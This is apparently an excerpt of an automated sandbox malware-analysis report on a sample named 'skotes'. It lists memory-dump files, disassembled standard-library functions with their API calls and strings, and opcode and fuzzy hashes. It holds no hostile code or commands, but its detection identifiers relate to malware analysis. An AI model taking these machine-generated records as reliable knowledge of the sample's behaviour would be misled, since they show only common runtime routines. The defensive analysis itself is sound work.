Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00EC2A7E

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 559f8e7c2ef69cb26414fe5ff8fc879064d0db1ea3445aac923e091fa28c1059
Instruction ID: 39f0749fd1d9d98c43000c531c04c15b6cc869c64913e9154953511dc8f7e775
Opcode Fuzzy Hash: 559f8e7c2ef69cb26414fe5ff8fc879064d0db1ea3445aac923e091fa28c1059
Instruction Fuzzy Hash: 8B81E271A0061ACBCF18DF68DA90EAEBBF1BB88704B54502DD641F7240D772AD42DF94

Function 00EC69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00EC6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00EC6A51
List.LIBCONCRT ref: 00EC6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00EC6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00EC6AB9
List.LIBCONCRT ref: 00EC6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00EC6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00EC6B20
List.LIBCONCRT ref: 00EC6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00EC6B68

Part of subcall function 00EC5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00EC5EF7
Part of subcall function 00EC5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00EC5F09

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: c784949b66bcd4eeac068047bd41038010613453da7f898b4538655a4cf1a722
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 6A512F71A00219AFDB08DF54C695FEEB3A8BF08344F15516DE915BB281DB31AE46CB90

Function 00ED52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00ED53A0
type_info::operator==.LIBVCRUNTIME ref: 00ED53C7
___TypeMatch.LIBVCRUNTIME ref: 00ED54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00ED55AE
CallUnexpected.LIBVCRUNTIME ref: 00ED5650

Strings

csm, xrefs: 00ED534D
csm, xrefs: 00ED53FE
csm, xrefs: 00ED52E0

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 75cb7fc75ac4f99c05f87ccb7f8fcdd3a1a18346d07621f7812abc9f7fe0a86e
Instruction ID: c000e9b6633d542ad33ae732c8fc87c07080f922328d83ea3bc3820e95388e20
Opcode Fuzzy Hash: 75cb7fc75ac4f99c05f87ccb7f8fcdd3a1a18346d07621f7812abc9f7fe0a86e
Instruction Fuzzy Hash: 9EC18772900609EFCF25DFA4D8809AEBBB5FF14319B10615BE821BB316D330DA52CB91

Function 00ED4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00ED4877
___except_validate_context_record.LIBVCRUNTIME ref: 00ED487F
_ValidateLocalCookies.LIBCMT ref: 00ED4908
__IsNonwritableInCurrentImage.LIBCMT ref: 00ED4933
_ValidateLocalCookies.LIBCMT ref: 00ED4988

Strings

csm, xrefs: 00ED491D
S9, xrefs: 00ED4925, 00ED492E, 00ED493F

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387649686.0000000001086000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387708749.0000000001087000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.000000000108A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387767955.0000000001091000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387865997.000000000109D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387927085.000000000109E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387982785.00000000010A5000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388040375.00000000010A6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388097586.00000000010AD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388133592.00000000010AE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388194351.00000000010B1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388252892.00000000010B3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388321169.00000000010C4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388380029.00000000010C5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388439993.00000000010CD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388498010.00000000010D8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388570957.00000000010F2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388634033.00000000010F3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388694498.00000000010FB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388757058.0000000001101000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388818279.0000000001102000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388881566.0000000001104000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3388941431.0000000001105000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389012901.0000000001108000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389068964.0000000001111000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389126048.0000000001113000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389184667.0000000001114000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389248325.0000000001117000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389310442.0000000001118000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389380312.000000000111E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389453577.0000000001126000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389519163.000000000112A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389557298.000000000112B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389647105.000000000112C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389712345.000000000112D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389778893.0000000001133000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389909379.0000000001142000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3389971282.0000000001143000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390067837.0000000001164000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001166000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390165657.0000000001171000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390286976.00000000011A0000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390344154.00000000011A1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390397211.00000000011A2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390458612.00000000011A7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390525464.00000000011A9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390590424.00000000011B7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3390648722.00000000011B8000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_ea0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9$csm
API String ID: 1170836740-3377438381
Opcode ID: 33b8fec33773ab7a7fefce1ea84e087cb796a7a23a6f86edbb60e05b3aa6f94f
Instruction ID: 4d2d64debb67e61554e886b341cf18154e4167d184696dd58c95c62084a718fc
Opcode Fuzzy Hash: 33b8fec33773ab7a7fefce1ea84e087cb796a7a23a6f86edbb60e05b3aa6f94f
Instruction Fuzzy Hash: A641E3B4A00249AFCF10DF29C884A9EBBF4EF55318F149156F818BB3D2C7319A06DB91

Function 00EC7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00EC73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00EC73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00EC740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00EC7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00EC7440

Strings

count, xrefs: 00EC737E
ppVirtualProcessorRoots, xrefs: 00EC7438

Memory Dump Source

Source File: 00000008.00000002.3386628637.0000000000EA1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00EA0000, based on PE: true

Associated: 00000008.00000002.3386582788.0000000000EA0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386628637.0000000000F02000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386816761.0000000000F09000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386886227.0000000000F0B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3386998006.0000000000F17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387528327.000000000106F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.3387587897.0000000001071000.00000080.00000001.01000000.0000000B.sdmpDownload File
